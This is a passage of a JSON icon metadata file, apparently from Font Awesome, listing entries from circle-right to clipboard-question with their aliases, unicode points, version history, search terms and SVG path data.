        "path": "M256 64a192 192 0 1 1 0 384 192 192 0 1 1 0-384zm0 448A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM200 256c0-20.7 11.3-38.8 28-48.5l-36-62.3c-8.8-15.3-28.7-20.8-42-9c-25.6 22.6-43.9 53.3-50.9 88.1C95.7 241.5 110.3 256 128 256l72 0zm28 48.5l-36 62.4c-8.8 15.3-3.6 35.2 13.1 40.8c16 5.4 33.1 8.3 50.9 8.3s34.9-2.9 50.9-8.3c16.7-5.6 21.9-25.5 13.1-40.8l-36-62.4c-8.2 4.8-17.8 7.5-28 7.5s-19.8-2.7-28-7.5zM312 256l72 0c17.7 0 32.3-14.5 28.8-31.8c-7-34.8-25.3-65.5-50.9-88.1c-13.2-11.7-33.1-6.3-42 9l-36 62.3c16.7 9.7 28 27.8 28 48.5zm-56 32a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"
      }
    },
    "free": ["solid"]
  },
  "circle-right": {
    "aliases": {
      "names": ["arrow-alt-circle-right"],
      "unicodes": {
        "composite": ["f18e"],
        "secondary": ["10f35a"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrow-circle-o-right", "forward", "next"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f35a",
    "label": "Circle Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766330,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 256a256 256 0 1 0 512 0A256 256 0 1 0 0 256zM294.6 135.1l99.9 107.1c3.5 3.8 5.5 8.7 5.5 13.8s-2 10.1-5.5 13.8L294.6 376.9c-4.2 4.5-10.1 7.1-16.3 7.1C266 384 256 374 256 361.7l0-57.7-96 0c-17.7 0-32-14.3-32-32l0-32c0-17.7 14.3-32 32-32l96 0 0-57.7c0-12.3 10-22.3 22.3-22.3c6.2 0 12.1 2.6 16.3 7.1z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 256a256 256 0 1 0 512 0A256 256 0 1 0 0 256zM294.6 135.1l99.9 107.1c3.5 3.8 5.5 8.7 5.5 13.8s-2 10.1-5.5 13.8L294.6 376.9c-4.2 4.5-10.1 7.1-16.3 7.1C266 384 256 374 256 361.7l0-57.7-96 0c-17.7 0-32-14.3-32-32l0-32c0-17.7 14.3-32 32-32l96 0 0-57.7c0-12.3 10-22.3 22.3-22.3c6.2 0 12.1 2.6 16.3 7.1z"
      },
      "regular": {
        "last_modified": 1684766330,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 1 48 256a208 208 0 1 1 416 0zM0 256a256 256 0 1 0 512 0A256 256 0 1 0 0 256zM294.6 135.1c-4.2-4.5-10.1-7.1-16.3-7.1C266 128 256 138 256 150.3V208H160c-17.7 0-32 14.3-32 32v32c0 17.7 14.3 32 32 32h96v57.7c0 12.3 10 22.3 22.3 22.3c6.2 0 12.1-2.6 16.3-7.1l99.9-107.1c3.5-3.8 5.5-8.7 5.5-13.8s-2-10.1-5.5-13.8L294.6 135.1z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 1 48 256a208 208 0 1 1 416 0zM0 256a256 256 0 1 0 512 0A256 256 0 1 0 0 256zM294.6 135.1c-4.2-4.5-10.1-7.1-16.3-7.1C266 128 256 138 256 150.3V208H160c-17.7 0-32 14.3-32 32v32c0 17.7 14.3 32 32 32h96v57.7c0 12.3 10 22.3 22.3 22.3c6.2 0 12.1-2.6 16.3-7.1l99.9-107.1c3.5-3.8 5.5-8.7 5.5-13.8s-2-10.1-5.5-13.8L294.6 135.1z"
      }
    },
    "free": ["regular", "solid"]
  },
  "circle-stop": {
    "aliases": {
      "names": ["stop-circle"],
      "unicodes": {
        "composite": ["f28e"],
        "secondary": ["10f28d"]
      }
    },
    "changes": ["4.5.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["block", "box", "circle", "square"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f28d",
    "label": "Circle Stop",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766676,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM192 160H320c17.7 0 32 14.3 32 32V320c0 17.7-14.3 32-32 32H192c-17.7 0-32-14.3-32-32V192c0-17.7 14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM192 160H320c17.7 0 32 14.3 32 32V320c0 17.7-14.3 32-32 32H192c-17.7 0-32-14.3-32-32V192c0-17.7 14.3-32 32-32z"
      },
      "regular": {
        "last_modified": 1684766676,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm192-96H320c17.7 0 32 14.3 32 32V320c0 17.7-14.3 32-32 32H192c-17.7 0-32-14.3-32-32V192c0-17.7 14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm192-96H320c17.7 0 32 14.3 32 32V320c0 17.7-14.3 32-32 32H192c-17.7 0-32-14.3-32-32V192c0-17.7 14.3-32 32-32z"
      }
    },
    "free": ["regular", "solid"]
  },
  "circle-up": {
    "aliases": {
      "names": ["arrow-alt-circle-up"],
      "unicodes": {
        "composite": ["f01b"],
        "secondary": ["10f35b"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrow-circle-o-up"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f35b",
    "label": "Circle Up",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766330,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM135.1 217.4l107.1-99.9c3.8-3.5 8.7-5.5 13.8-5.5s10.1 2 13.8 5.5l107.1 99.9c4.5 4.2 7.1 10.1 7.1 16.3c0 12.3-10 22.3-22.3 22.3H304v96c0 17.7-14.3 32-32 32H240c-17.7 0-32-14.3-32-32V256H150.3C138 256 128 246 128 233.7c0-6.2 2.6-12.1 7.1-16.3z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM135.1 217.4l107.1-99.9c3.8-3.5 8.7-5.5 13.8-5.5s10.1 2 13.8 5.5l107.1 99.9c4.5 4.2 7.1 10.1 7.1 16.3c0 12.3-10 22.3-22.3 22.3H304v96c0 17.7-14.3 32-32 32H240c-17.7 0-32-14.3-32-32V256H150.3C138 256 128 246 128 233.7c0-6.2 2.6-12.1 7.1-16.3z"
      },
      "regular": {
        "last_modified": 1684766330,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM135.1 217.4c-4.5 4.2-7.1 10.1-7.1 16.3c0 12.3 10 22.3 22.3 22.3H208v96c0 17.7 14.3 32 32 32h32c17.7 0 32-14.3 32-32V256h57.7c12.3 0 22.3-10 22.3-22.3c0-6.2-2.6-12.1-7.1-16.3L269.8 117.5c-3.8-3.5-8.7-5.5-13.8-5.5s-10.1 2-13.8 5.5L135.1 217.4z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM135.1 217.4c-4.5 4.2-7.1 10.1-7.1 16.3c0 12.3 10 22.3 22.3 22.3H208v96c0 17.7 14.3 32 32 32h32c17.7 0 32-14.3 32-32V256h57.7c12.3 0 22.3-10 22.3-22.3c0-6.2-2.6-12.1-7.1-16.3L269.8 117.5c-3.8-3.5-8.7-5.5-13.8-5.5s-10.1 2-13.8 5.5L135.1 217.4z"
      }
    },
    "free": ["regular", "solid"]
  },
  "circle-user": {
    "aliases": {
      "names": ["user-circle"],
      "unicodes": {
        "composite": ["f2be"],
        "secondary": ["10f2bd"]
      }
    },
    "changes": [
      "4.7.0",
      "5.0.0",
      "5.0.3",
      "5.0.11",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["users-people"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f2bd",
    "label": "Circle User",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M399 384.2C376.9 345.8 335.4 320 288 320H224c-47.4 0-88.9 25.8-111 64.2c35.2 39.2 86.2 63.8 143 63.8s107.8-24.7 143-63.8zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm256 16a72 72 0 1 0 0-144 72 72 0 1 0 0 144z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M399 384.2C376.9 345.8 335.4 320 288 320H224c-47.4 0-88.9 25.8-111 64.2c35.2 39.2 86.2 63.8 143 63.8s107.8-24.7 143-63.8zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm256 16a72 72 0 1 0 0-144 72 72 0 1 0 0 144z"
      },
      "regular": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M406.5 399.6C387.4 352.9 341.5 320 288 320H224c-53.5 0-99.4 32.9-118.5 79.6C69.9 362.2 48 311.7 48 256C48 141.1 141.1 48 256 48s208 93.1 208 208c0 55.7-21.9 106.2-57.5 143.6zm-40.1 32.7C334.4 452.4 296.6 464 256 464s-78.4-11.6-110.5-31.7c7.3-36.7 39.7-64.3 78.5-64.3h64c38.8 0 71.2 27.6 78.5 64.3zM256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zm0-272a40 40 0 1 1 0-80 40 40 0 1 1 0 80zm-88-40a88 88 0 1 0 176 0 88 88 0 1 0 -176 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M406.5 399.6C387.4 352.9 341.5 320 288 320H224c-53.5 0-99.4 32.9-118.5 79.6C69.9 362.2 48 311.7 48 256C48 141.1 141.1 48 256 48s208 93.1 208 208c0 55.7-21.9 106.2-57.5 143.6zm-40.1 32.7C334.4 452.4 296.6 464 256 464s-78.4-11.6-110.5-31.7c7.3-36.7 39.7-64.3 78.5-64.3h64c38.8 0 71.2 27.6 78.5 64.3zM256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zm0-272a40 40 0 1 1 0-80 40 40 0 1 1 0 80zm-88-40a88 88 0 1 0 176 0 88 88 0 1 0 -176 0z"
      }
    },
    "free": ["regular", "solid"]
  },
  "circle-xmark": {
    "aliases": {
      "names": ["times-circle", "xmark-circle"],
      "unicodes": {
        "composite": ["f05c"],
        "secondary": ["10f057"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "close",
        "cross",
        "destroy",
        "exit",
        "incorrect",
        "notice",
        "notification",
        "notify",
        "problem",
        "wrong",
        "x"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f057",
    "label": "Circle Xmark",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767551,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM175 175c9.4-9.4 24.6-9.4 33.9 0l47 47 47-47c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-47 47 47 47c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-47-47-47 47c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l47-47-47-47c-9.4-9.4-9.4-24.6 0-33.9z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM175 175c9.4-9.4 24.6-9.4 33.9 0l47 47 47-47c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-47 47 47 47c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-47-47-47 47c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l47-47-47-47c-9.4-9.4-9.4-24.6 0-33.9z"
      },
      "regular": {
        "last_modified": 1684767551,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM175 175c-9.4 9.4-9.4 24.6 0 33.9l47 47-47 47c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l47-47 47 47c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-47-47 47-47c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-47 47-47-47c-9.4-9.4-24.6-9.4-33.9 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM175 175c-9.4 9.4-9.4 24.6 0 33.9l47 47-47 47c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l47-47 47 47c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-47-47 47-47c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-47 47-47-47c-9.4-9.4-24.6-9.4-33.9 0z"
      }
    },
    "free": ["regular", "solid"]
  },
  "city": {
    "aliases": {
      "unicodes": {
        "composite": ["1f3d9"],
        "secondary": ["10f64f"]
      }
    },
    "changes": [
      "5.3.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "buildings",
        "busy",
        "city",
        "cityscape",
        "skyscrapers",
        "urban",
        "windows"
      ]
    },
    "styles": ["solid"],
    "unicode": "f64f",
    "label": "City",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M480 48c0-26.5-21.5-48-48-48H336c-26.5 0-48 21.5-48 48V96H224V24c0-13.3-10.7-24-24-24s-24 10.7-24 24V96H112V24c0-13.3-10.7-24-24-24S64 10.7 64 24V96H48C21.5 96 0 117.5 0 144v96V464c0 26.5 21.5 48 48 48H304h32 96H592c26.5 0 48-21.5 48-48V240c0-26.5-21.5-48-48-48H480V48zm96 320v32c0 8.8-7.2 16-16 16H528c-8.8 0-16-7.2-16-16V368c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16zM240 416H208c-8.8 0-16-7.2-16-16V368c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16zM128 400c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V368c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32zM560 256c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H528c-8.8 0-16-7.2-16-16V272c0-8.8 7.2-16 16-16h32zM256 176v32c0 8.8-7.2 16-16 16H208c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16zM112 160c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h32zM256 304c0 8.8-7.2 16-16 16H208c-8.8 0-16-7.2-16-16V272c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32zM112 320H80c-8.8 0-16-7.2-16-16V272c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16zm304-48v32c0 8.8-7.2 16-16 16H368c-8.8 0-16-7.2-16-16V272c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16zM400 64c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H368c-8.8 0-16-7.2-16-16V80c0-8.8 7.2-16 16-16h32zm16 112v32c0 8.8-7.2 16-16 16H368c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M480 48c0-26.5-21.5-48-48-48H336c-26.5 0-48 21.5-48 48V96H224V24c0-13.3-10.7-24-24-24s-24 10.7-24 24V96H112V24c0-13.3-10.7-24-24-24S64 10.7 64 24V96H48C21.5 96 0 117.5 0 144v96V464c0 26.5 21.5 48 48 48H304h32 96H592c26.5 0 48-21.5 48-48V240c0-26.5-21.5-48-48-48H480V48zm96 320v32c0 8.8-7.2 16-16 16H528c-8.8 0-16-7.2-16-16V368c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16zM240 416H208c-8.8 0-16-7.2-16-16V368c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16zM128 400c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V368c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32zM560 256c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H528c-8.8 0-16-7.2-16-16V272c0-8.8 7.2-16 16-16h32zM256 176v32c0 8.8-7.2 16-16 16H208c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16zM112 160c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h32zM256 304c0 8.8-7.2 16-16 16H208c-8.8 0-16-7.2-16-16V272c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32zM112 320H80c-8.8 0-16-7.2-16-16V272c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16zm304-48v32c0 8.8-7.2 16-16 16H368c-8.8 0-16-7.2-16-16V272c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16zM400 64c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H368c-8.8 0-16-7.2-16-16V80c0-8.8 7.2-16 16-16h32zm16 112v32c0 8.8-7.2 16-16 16H368c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16z"
      }
    },
    "free": ["solid"]
  },
  "clapperboard": {
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "camera",
        "clapper",
        "clapper board",
        "director",
        "film",
        "movie",
        "record"
      ]
    },
    "styles": ["solid"],
    "unicode": "e131",
    "label": "Clapperboard",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767342,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M448 32H361.9l-1 1-127 127h92.1l1-1L453.8 32.3c-1.9-.2-3.8-.3-5.8-.3zm64 128V96c0-15.1-5.3-29.1-14-40l-104 104H512zM294.1 32H201.9l-1 1L73.9 160h92.1l1-1 127-127zM64 32C28.7 32 0 60.7 0 96v64H6.1l1-1 127-127H64zM512 192H0V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V192z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M448 32H361.9l-1 1-127 127h92.1l1-1L453.8 32.3c-1.9-.2-3.8-.3-5.8-.3zm64 128V96c0-15.1-5.3-29.1-14-40l-104 104H512zM294.1 32H201.9l-1 1L73.9 160h92.1l1-1 127-127zM64 32C28.7 32 0 60.7 0 96v64H6.1l1-1 127-127H64zM512 192H0V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V192z"
      }
    },
    "free": ["solid"]
  },
  "clipboard": {
    "aliases": {
      "unicodes": {
        "composite": ["1f4cb"],
        "secondary": ["10f328"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.2.0", "6.2.1", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["clipboar", "clipboard", "copy", "notes", "paste", "record"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f328",
    "label": "Clipboard",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767392,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M192 0c-41.8 0-77.4 26.7-90.5 64H64C28.7 64 0 92.7 0 128V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64H282.5C269.4 26.7 233.8 0 192 0zm0 64a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM112 192H272c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16s7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M192 0c-41.8 0-77.4 26.7-90.5 64H64C28.7 64 0 92.7 0 128V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64H282.5C269.4 26.7 233.8 0 192 0zm0 64a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM112 192H272c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16s7.2-16 16-16z"
      },
      "regular": {
        "last_modified": 1684767392,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M280 64h40c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V128C0 92.7 28.7 64 64 64h40 9.6C121 27.5 153.3 0 192 0s71 27.5 78.4 64H280zM64 112c-8.8 0-16 7.2-16 16V448c0 8.8 7.2 16 16 16H320c8.8 0 16-7.2 16-16V128c0-8.8-7.2-16-16-16H304v24c0 13.3-10.7 24-24 24H192 104c-13.3 0-24-10.7-24-24V112H64zm128-8a24 24 0 1 0 0-48 24 24 0 1 0 0 48z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M280 64h40c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V128C0 92.7 28.7 64 64 64h40 9.6C121 27.5 153.3 0 192 0s71 27.5 78.4 64H280zM64 112c-8.8 0-16 7.2-16 16V448c0 8.8 7.2 16 16 16H320c8.8 0 16-7.2 16-16V128c0-8.8-7.2-16-16-16H304v24c0 13.3-10.7 24-24 24H192 104c-13.3 0-24-10.7-24-24V112H64zm128-8a24 24 0 1 0 0-48 24 24 0 1 0 0 48z"
      }
    },
    "free": ["regular", "solid"]
  },
  "clipboard-check": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f46c"]
      }
    },
    "changes": ["5.0.7", "6.0.0-beta1", "6.2.0", "6.2.1", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "accept",
        "agree",
        "confirm",
        "done",
        "ok",
        "select",
        "success",
        "tick",
        "todo",
        "yes"
      ]
    },
    "styles": ["solid"],
    "unicode": "f46c",
    "label": "Clipboard Check",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M192 0c-41.8 0-77.4 26.7-90.5 64H64C28.7 64 0 92.7 0 128V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64H282.5C269.4 26.7 233.8 0 192 0zm0 64a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM305 273L177 401c-9.4 9.4-24.6 9.4-33.9 0L79 337c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l47 47L271 239c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M192 0c-41.8 0-77.4 26.7-90.5 64H64C28.7 64 0 92.7 0 128V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64H282.5C269.4 26.7 233.8 0 192 0zm0 64a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM305 273L177 401c-9.4 9.4-24.6 9.4-33.9 0L79 337c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l47 47L271 239c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9z"
      }
    },
    "free": ["solid"]
  },
  "clipboard-list": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f46d"]
      }
    },
    "changes": ["5.0.7", "6.0.0-beta1", "6.2.0", "6.2.1", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "checklist",
        "completed",
        "done",
        "finished",
        "intinerary",
        "ol",
        "schedule",
        "tick",
        "todo",
        "ul"
      ]
    },
    "styles": ["solid"],
    "unicode": "f46d",
    "label": "Clipboard List",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767393,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M192 0c-41.8 0-77.4 26.7-90.5 64H64C28.7 64 0 92.7 0 128V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64H282.5C269.4 26.7 233.8 0 192 0zm0 64a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM72 272a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zm104-16H304c8.8 0 16 7.2 16 16s-7.2 16-16 16H176c-8.8 0-16-7.2-16-16s7.2-16 16-16zM72 368a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zm88 0c0-8.8 7.2-16 16-16H304c8.8 0 16 7.2 16 16s-7.2 16-16 16H176c-8.8 0-16-7.2-16-16z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M192 0c-41.8 0-77.4 26.7-90.5 64H64C28.7 64 0 92.7 0 128V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64H282.5C269.4 26.7 233.8 0 192 0zm0 64a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM72 272a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zm104-16H304c8.8 0 16 7.2 16 16s-7.2 16-16 16H176c-8.8 0-16-7.2-16-16s7.2-16 16-16zM72 368a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zm88 0c0-8.8 7.2-16 16-16H304c8.8 0 16 7.2 16 16s-7.2 16-16 16H176c-8.8 0-16-7.2-16-16z"
      }
    },
    "free": ["solid"]
  },
  "clipboard-question": {
    "changes": ["6.1.0", "6.2.0", "6.2.1", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["assistance", "interview", "query", "question"]
    },
    "styles": ["solid"],
    "unicode": "e4e3",
    "label": "Clipboard Question",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M192 0c-41.8 0-77.4 26.7-90.5 64H64C28.7 64 0 92.7 0 128V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64H282.5C269.4 26.7 233.8 0 192 0zm0 64a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM105.8 229.3c7.9-22.3 29.1-37.3 52.8-37.3h58.3c34.9 0 63.1 28.3 63.1 63.1c0 22.6-12.1 43.5-31.7 54.8L216 328.4c-.2 13-10.9 23.6-24 23.6c-13.3 0-24-10.7-24-24V314.5c0-8.6 4.6-16.5 12.1-20.8l44.3-25.4c4.7-2.7 7.6-7.7 7.6-13.1c0-8.4-6.8-15.1-15.1-15.1H158.6c-3.4 0-6.4 2.1-7.5 5.3l-.4 1.2c-4.4 12.5-18.2 19-30.6 14.6s-19-18.2-14.6-30.6l.4-1.2zM160 416a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
